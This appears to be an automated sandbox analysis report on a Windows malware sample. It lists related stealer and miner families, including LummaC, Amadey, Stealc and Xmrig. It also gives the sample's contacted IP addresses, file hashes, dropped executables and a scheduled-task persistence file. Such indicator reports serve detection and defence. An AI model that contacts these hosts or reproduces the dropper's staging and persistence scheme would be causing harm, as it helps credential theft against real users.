	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Xmrig	Browse	138.124.49.236

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TWC-11351-NORTHEASTUS	NVkyG9HAeY.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	98.85.100.80
	W6seF0MjGW.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	98.85.100.80
	f1842FwKth.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	98.85.100.80
	aweqG2ssAY.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	98.85.100.80
	vH7JfdNi3c.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	98.85.100.80
	U6mwWZlkzH.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	98.85.100.80
	KzLv0EXDs1.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	98.85.100.80
	0254xoMBbu.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	98.85.100.80
	JiZQEd33mn.exe	Get hash	malicious	Unknown	Browse	98.85.100.80
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, RHADAMANTHYS, zgRAT	Browse	98.85.100.80
WHOLESALECONNECTIONSNL	AWrVzd6XpC.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, PureLog Stealer, RHADAMANTHYS	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, PureLog Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Xmrig	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Xmrig	Browse	185.215.113.43
	rK0CtrtVrl.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	CefJcYwgWs.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	3DI3mOIlxE.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	D2Cw8gWOXj.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
WHOLESALECONNECTIONSNL	AWrVzd6XpC.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, PureLog Stealer, RHADAMANTHYS	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, PureLog Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Xmrig	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Xmrig	Browse	185.215.113.43
	rK0CtrtVrl.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	CefJcYwgWs.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	3DI3mOIlxE.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	D2Cw8gWOXj.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	AWrVzd6XpC.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Xmrig	Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[2].exe	AWrVzd6XpC.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1885696
Entropy (8bit):	7.9502129539309525
Encrypted:	false
SSDEEP:	49152:xygWjRQ3HLL/piTRSyEvGqpGl3Ao1cVPeb3ymHw2NG:ggrHpi8yhqclT1vtN
MD5:	25FB9C54265BBACC7A055174479F0B70
SHA1:	4AF069A2EC874703A7E29023D23A1ADA491B584E
SHA-256:	552F8BE2C6B2208A89C728F68488930C661B3A06C35A20D133EF7D3C63A86B9C
SHA-512:	7DFD9E0F3FA2D68A6CE8C952E3B755559DB73BB7A06C95AD6ED8AC16DEDB49BE8B8337AFC07C9C682F0C4BE9DB291A551286353E2E2B624223487DC1C8B54668
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 53%
Joe Sandbox View:	Filename: AWrVzd6XpC.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....<_g..............................J...........@...........................J.....%-....@.................................T0..h.... .......................1...................................................................................... . .........H..................@....rsrc........ .......X..............@....idata .....0.......Z..............@... ..*..@.......\..............@...uzxdwyvi.P... 0..B...^..............@...efzdldig.....pJ.....................@....taggant.0....J.."..................@...................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[2].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1733632
Entropy (8bit):	7.9334925624279675
Encrypted:	false
SSDEEP:	49152:ICFUVyLzGjXWYudfHGVEvIMsamk2SZwkFQZ:LGyLz2X5udfMsYkXqsQ
MD5:	9DFBAEBCE6E517991F34B94C67A038E2
SHA1:	82FC1E85FE38A59248FC43837A6F0D32F3F0C0BE
SHA-256:	1B625C9923C41449ED1FDCE417C57890367204340C2236B4B2F44CA864AE14AD
SHA-512:	DD88ABB1F9D0B0FD441E9333B64A88C5F66FB40C8F1CA8C98E4D04299E970410DDC49B60EADFBE7B76A74EF0A4D39CCA270D4364D9D83AB66E777CA44257D4D4
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 50%
Joe Sandbox View:	Filename: AWrVzd6XpC.exe, Detection: malicious, Browse
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$............E.. ...`....@.. .......................@E.....H.....`.................................U...i....`..D........................................................................................................... . .@... ....... ..............@....rsrc...D....`.......2..............@....idata . ...........6..............@... . ..........8..............@...pwjairst. ..........:..............@...lcewkiss. ....D......L..............@....taggant.@....E.."...R..............@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	4430848
Entropy (8bit):	7.9844420719493145
Encrypted:	false
SSDEEP:	98304:j3ClGO5IimEwYIgsw7swMl6NFGS1DsZC2zm/hzB2hP:LCzILKtsw7sT6NcSr2zm/DG
MD5:	A0D6C9D4D75289FFA8F7DBDA90E3FCE6
SHA1:	3E3B99A9B625FBD216908A07754ADAB568DBEF4D
SHA-256:	CA737DEB8D7B8DC261E6DD95DD42D7316E670D886023A7E4369DF4A518C972CE
SHA-512:	E77BF7E82ACDC1BF647A5A4761DB39CDF591D45D9EF57457AAFBB9A087BBCA9988C79BE7376A7268D4642DB2CBEF2A41FF723C907BF04CF00F1FDC06E1982858
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 45%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....U`g...............(.>D...d..2...........PD...@................................{.C...@... ............................._.a.s.....a.....................................................d....................................................... . .pa......>(.................@....rsrc.........a......N(.............@....idata ......a......P(.............@... ..7...a......R(.............@...sgmjipkl.0...p..."...T(.............@...pwaltzxf.............vC.............@....taggant.0......."...zC.............@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[2].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2869248
Entropy (8bit):	6.511526933269248
Encrypted:	false
SSDEEP:	49152:+mgTHPu1lHHXvu4jEA9aekO61c9jWcM02X8:tgTHPu1lHHXvu4jxI9c9jWD8
MD5:	696EE1C9D08773339EFE314269DCF7F5
SHA1:	21BFB4FCB39CCC3969A0D07CF743B113D64A1C63
SHA-256:	57014FE84559FA166DB76F925753B65E9B18FC6E175E7C6900B67B4487E6C519
SHA-512:	EB7B0CA0510D332C123C2CDD998E7C8AF22F1922FF5F1F8075C8774A93E46268E7965D9EC763F45AD8CD70A0E649DD3041338C2638792A9552590F3922463E14
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 47%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$....... ...d..d..d....s.\|....F.i....r.^..m.[.g..m.K.b....g..d.......w.w....E.e..Richd..........PE..L....dTg.....................(........O...........@..........................0O.....j&,...@.................................M.$.a.....$.......................$..................................................................................... . ..$......h..................@....rsrc.........$......x..............@....idata ......$......z..............@...oiorywlp.0...$..&..\|..............@...yzgbcaqs......N.......+.............@....taggant.0....O.."....+.............@...........................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	776832
Entropy (8bit):	7.859727158445845
Encrypted:	false
SSDEEP:	12288:smOcxtujRwuweJH9RKC6cmulcfJbBiv0W6NLtXcgAuuweJH9RKC6cmulcfJbBivj:pG+XeJH9Rp6RtfNLtMmXeJH9Rp6RtfN8
MD5:	AFD936E441BF5CBDB858E96833CC6ED3
SHA1:	3491EDD8C7CAF9AE169E21FB58BCCD29D95AEFEF
SHA-256:	C6491D7A6D70C7C51BACA7436464667B4894E4989FA7C5E05068DDE4699E1CBF
SHA-512:	928C15A1EDA602B2A66A53734F3F563AB9626882104E30EE2BF5106CFD6E08EC54F96E3063F1AB89BF13BE2C8822A8419F5D8EE0A3583A4C479785226051A325
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 68%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L.....`g..........".................RY............@.......................................@..................................7..<...............................@...........................X.......................(9..T............................text............................... ..`.rdata..$...........................@..@.data...l"...P.......>..............@....bsS....S............T.............. ..`.tls.................V..............@....rsrc................X..............@..@.reloc..@............Z..............@..B.bss.................t..............@....bss.........p......................@...................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[2].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	969216
Entropy (8bit):	6.700105593469643
Encrypted:	false
SSDEEP:	24576:3qDEvCTbMWu7rQYlBQcBiT6rprG8aEwq85:3TvC/MTQYxsWR7aEwq
MD5:	19728D7401E58F10467BDDC361C502AD
SHA1:	94C7FAAFB2F9AEA6002E60F789C408CAFCA201C2
SHA-256:	927D03E5639521F6086477AAB384D9F7A9DD82C2247ADA6D802BBFF5EB61D65E
SHA-512:	0A1FF74A851AD45C6ED49FF62366AC0ED4DA754AA0AE077C5166E51BAC2ABFEF06C3E836E860C8834AB7E988255592191FB8F23C51B3A9D37923FDB24358F05B
Malicious:	true
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...................j:......j:..C...j:......@.*...........................n......~............{.......{......{.......z....{......Rich...................PE..L.....cg..........".................w.............@.......................... ...........@...@.......@.....................d...\|....@...^.......................u...........................4..........@............................................text............................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc....^...@...`..................@..@.reloc...u.......v...T..............@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1819648
Entropy (8bit):	7.947764114247639
Encrypted:	false
SSDEEP:	49152:IFUK+tknnOhw3POob/QLBESTaMdSUAygf8pBb/6l50:IFUHtkDOobYLvaKSUAipBb/0
MD5:	157A5AF38553CCB117F6D278B2B046F0
SHA1:	9793935E64772BB6FA3665D090FB7E9D448AD438
SHA-256:	A0D75064673F21A234D5556762F77EE96DAAD893E015824D7526CB965DF0DD44
SHA-512:	0798F89180E91F76C357683F05CFE1103DB048FDB4428F25417E141530275BB753AAF96CC5D16B5D9497878434CF05047B8E515A5A155D57E3E3B0005B7B66B6
Malicious:	true
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....<_g............................. H...........@..........................PH.....Hv....@.................................T0..h.... .......................1...................................................................................... . .........H..................@....rsrc........ .......X..............@....idata .....0.......\..............@... ..)..@.......^..............@...zajbtexj.@.......<...`..............@...kwcryctq......H.....................@....taggant.0... H.."..................@...................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	4430848
Entropy (8bit):	7.9844420719493145
Encrypted:	false
SSDEEP:	98304:j3ClGO5IimEwYIgsw7swMl6NFGS1DsZC2zm/hzB2hP:LCzILKtsw7sT6NcSr2zm/DG
MD5:	A0D6C9D4D75289FFA8F7DBDA90E3FCE6
SHA1:	3E3B99A9B625FBD216908A07754ADAB568DBEF4D
SHA-256:	CA737DEB8D7B8DC261E6DD95DD42D7316E670D886023A7E4369DF4A518C972CE
SHA-512:	E77BF7E82ACDC1BF647A5A4761DB39CDF591D45D9EF57457AAFBB9A087BBCA9988C79BE7376A7268D4642DB2CBEF2A41FF723C907BF04CF00F1FDC06E1982858
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 45%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....U`g...............(.>D...d..2...........PD...@................................{.C...@... ............................._.a.s.....a.....................................................d....................................................... . .pa......>(.................@....rsrc.........a......N(.............@....idata ......a......P(.............@... ..7...a......R(.............@...sgmjipkl.0...p..."...T(.............@...pwaltzxf.............vC.............@....taggant.0......."...zC.............@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	776832
Entropy (8bit):	7.859727158445845
Encrypted:	false
SSDEEP:	12288:smOcxtujRwuweJH9RKC6cmulcfJbBiv0W6NLtXcgAuuweJH9RKC6cmulcfJbBivj:pG+XeJH9Rp6RtfNLtMmXeJH9Rp6RtfN8
MD5:	AFD936E441BF5CBDB858E96833CC6ED3
SHA1:	3491EDD8C7CAF9AE169E21FB58BCCD29D95AEFEF
SHA-256:	C6491D7A6D70C7C51BACA7436464667B4894E4989FA7C5E05068DDE4699E1CBF
SHA-512:	928C15A1EDA602B2A66A53734F3F563AB9626882104E30EE2BF5106CFD6E08EC54F96E3063F1AB89BF13BE2C8822A8419F5D8EE0A3583A4C479785226051A325
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 68%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L.....`g..........".................RY............@.......................................@..................................7..<...............................@...........................X.......................(9..T............................text............................... ..`.rdata..$...........................@..@.data...l"...P.......>..............@....bsS....S............T.............. ..`.tls.................V..............@....rsrc................X..............@..@.reloc..@............Z..............@..B.bss.................t..............@....bss.........p......................@...................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1017424001\5504bf3a7b.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1885696
Entropy (8bit):	7.9502129539309525
Encrypted:	false
SSDEEP:	49152:xygWjRQ3HLL/piTRSyEvGqpGl3Ao1cVPeb3ymHw2NG:ggrHpi8yhqclT1vtN
MD5:	25FB9C54265BBACC7A055174479F0B70
SHA1:	4AF069A2EC874703A7E29023D23A1ADA491B584E
SHA-256:	552F8BE2C6B2208A89C728F68488930C661B3A06C35A20D133EF7D3C63A86B9C
SHA-512:	7DFD9E0F3FA2D68A6CE8C952E3B755559DB73BB7A06C95AD6ED8AC16DEDB49BE8B8337AFC07C9C682F0C4BE9DB291A551286353E2E2B624223487DC1C8B54668
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 53%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....<_g..............................J...........@...........................J.....%-....@.................................T0..h.... .......................1...................................................................................... . .........H..................@....rsrc........ .......X..............@....idata .....0.......Z..............@... ..*..@.......\..............@...uzxdwyvi.P... 0..B...^..............@...efzdldig.....pJ.....................@....taggant.0....J.."..................@...................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1017425001\43ac536e27.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1819648
Entropy (8bit):	7.947764114247639
Encrypted:	false
SSDEEP:	49152:IFUK+tknnOhw3POob/QLBESTaMdSUAygf8pBb/6l50:IFUHtkDOobYLvaKSUAipBb/0
MD5:	157A5AF38553CCB117F6D278B2B046F0
SHA1:	9793935E64772BB6FA3665D090FB7E9D448AD438
SHA-256:	A0D75064673F21A234D5556762F77EE96DAAD893E015824D7526CB965DF0DD44
SHA-512:	0798F89180E91F76C357683F05CFE1103DB048FDB4428F25417E141530275BB753AAF96CC5D16B5D9497878434CF05047B8E515A5A155D57E3E3B0005B7B66B6
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....<_g............................. H...........@..........................PH.....Hv....@.................................T0..h.... .......................1...................................................................................... . .........H..................@....rsrc........ .......X..............@....idata .....0.......\..............@... ..)..@.......^..............@...zajbtexj.@.......<...`..............@...kwcryctq......H.....................@....taggant.0... H.."..................@...................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1017426001\b6e002a8f0.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2869248
Entropy (8bit):	6.511526933269248
Encrypted:	false
SSDEEP:	49152:+mgTHPu1lHHXvu4jEA9aekO61c9jWcM02X8:tgTHPu1lHHXvu4jxI9c9jWD8
MD5:	696EE1C9D08773339EFE314269DCF7F5
SHA1:	21BFB4FCB39CCC3969A0D07CF743B113D64A1C63
SHA-256:	57014FE84559FA166DB76F925753B65E9B18FC6E175E7C6900B67B4487E6C519
SHA-512:	EB7B0CA0510D332C123C2CDD998E7C8AF22F1922FF5F1F8075C8774A93E46268E7965D9EC763F45AD8CD70A0E649DD3041338C2638792A9552590F3922463E14
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 47%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$....... ...d..d..d....s.\|....F.i....r.^..m.[.g..m.K.b....g..d.......w.w....E.e..Richd..........PE..L....dTg.....................(........O...........@..........................0O.....j&,...@.................................M.$.a.....$.......................$..................................................................................... . ..$......h..................@....rsrc.........$......x..............@....idata ......$......z..............@...oiorywlp.0...$..&..\|..............@...yzgbcaqs......N.......+.............@....taggant.0....O.."....+.............@...........................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1017427001\25e92e47ca.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	969216
Entropy (8bit):	6.700105593469643
Encrypted:	false
SSDEEP:	24576:3qDEvCTbMWu7rQYlBQcBiT6rprG8aEwq85:3TvC/MTQYxsWR7aEwq
MD5:	19728D7401E58F10467BDDC361C502AD
SHA1:	94C7FAAFB2F9AEA6002E60F789C408CAFCA201C2
SHA-256:	927D03E5639521F6086477AAB384D9F7A9DD82C2247ADA6D802BBFF5EB61D65E
SHA-512:	0A1FF74A851AD45C6ED49FF62366AC0ED4DA754AA0AE077C5166E51BAC2ABFEF06C3E836E860C8834AB7E988255592191FB8F23C51B3A9D37923FDB24358F05B
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...................j:......j:..C...j:......@.*...........................n......~............{.......{......{.......z....{......Rich...................PE..L.....cg..........".................w.............@.......................... ...........@...@.......@.....................d...\|....@...^.......................u...........................4..........@............................................text............................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc....^...@...`..................@..@.reloc...u.......v...T..............@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1017428001\e82adb1900.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1733632
Entropy (8bit):	7.9334925624279675
Encrypted:	false
SSDEEP:	49152:ICFUVyLzGjXWYudfHGVEvIMsamk2SZwkFQZ:LGyLz2X5udfMsYkXqsQ
MD5:	9DFBAEBCE6E517991F34B94C67A038E2
SHA1:	82FC1E85FE38A59248FC43837A6F0D32F3F0C0BE
SHA-256:	1B625C9923C41449ED1FDCE417C57890367204340C2236B4B2F44CA864AE14AD
SHA-512:	DD88ABB1F9D0B0FD441E9333B64A88C5F66FB40C8F1CA8C98E4D04299E970410DDC49B60EADFBE7B76A74EF0A4D39CCA270D4364D9D83AB66E777CA44257D4D4
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 50%
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$............E.. ...`....@.. .......................@E.....H.....`.................................U...i....`..D........................................................................................................... . .@... ....... ..............@....rsrc...D....`.......2..............@....idata . ...........6..............@... . ..........8..............@...pwjairst. ..........:..............@...lcewkiss. ....D......L..............@....taggant.@....E.."...R..............@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3047424
Entropy (8bit):	6.566703414589015
Encrypted:	false
SSDEEP:	49152:isilqKky+KMCXclIjF9ML4Im3AS7Vsu2yBxXQWxu58xdS:5iIKgKMCYO9ML+AS55BmWcY
MD5:	B48526E3264A9EBF9AE221DF76F8511E
SHA1:	51141F95D23355A1891B88E470B2C9A3E44BA92E
SHA-256:	42EE113CCF756A8E8950CB81A36558E707F20F59AEF11401CA08269CCE065C0F
SHA-512:	AD26656D29E916E06D26DE91F0DA8703C1F677BD369196E282F6E1EEC3A0BACA504A564607B4E6F7D18B8AC350428AAFF01E2F39CCC435715526DAAAE1A0E100
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 53%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f.............................02...........@..........................`2...........@.................................W...k.............................2.............................D.2..................................................... . ............................@....rsrc...............................@....idata ............................@...sftdblig.p+......d+.................@...tqdamjfv..... 2......Z..............@....taggant.0...02.."...^..............@...........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Local\Temp\service123.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	314617856
Entropy (8bit):	0.0023405885373275906
Encrypted:	false
SSDEEP:	768:LWE9OaBxc0AJF8JAfPrYU3HcW534/lVBilb7xbAOxuz/kQ:ZxBxcEJAfPrYSHcW6/C/Buz7
MD5:	110FE44D33E426703CD712E879D34CBC
SHA1:	F7E396874328BA5813FE846DF4DB08A0AE8C7827
SHA-256:	3887BC25C5F53AA834C4277D5FF6DAC4F0B5B04C86C341095A5BF46F9EA150A4
SHA-512:	14C40AAD78EA18D08E3B5792EA55B6A7724907AA41D541DCBE960329C875426BA45C9C43607C67CFC8E87F14CD2EC004942E50EF5D3CE84E71EC3427DC4DD679
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...XT`g...............(.v........................@.......................... .......W....@... .................................................................d...........................D.......................T................................text....t.......v..................`..`.data...T............z..............@....rdata...............\|..............@..@.eh_fram............................@..@.bss....t................................idata..............................@....CRT....0...........................@....tls................................@....reloc..d...........................@..B........................................................................................................................................................................................................................................................................

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	302
Entropy (8bit):	3.4727155020871523
Encrypted:	false
SSDEEP:
MD5:	30D3399C7832C32FCFF6F18A93AF6B38
SHA1:	53E4D912A5187A308C0B506556FE2F027904B093
SHA-256:	7D45BED5DE5B61305A6526B7334BD2E0B1D659778063135E3E1EDD77B024A0A8
SHA-512:	F3EA875C8479F37F02247E887BD290408D218D2C20923516BF979738AA61DBC9A26E6A7182C0E9B100709FC56C2115562C82A2B98344074BFB8BEA8D1641F7B0
Malicious:	false
Reputation:	unknown
Preview:	.........(O.,.%..F.......<... .....s.......... ....................;.C.:.\.U.s.e.r.s.\.e.n.g.i.n.e.e.r.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........E.N.G.I.N.E.E.R.-.P.C.\.e.n.g.i.n.e.e.r...................0...................@3P.........................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.566703414589015
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	3'047'424 bytes
MD5:	b48526e3264a9ebf9ae221df76f8511e
SHA1:	51141f95d23355a1891b88e470b2c9a3e44ba92e
SHA256:	42ee113ccf756a8e8950cb81a36558e707f20f59aef11401ca08269cce065c0f
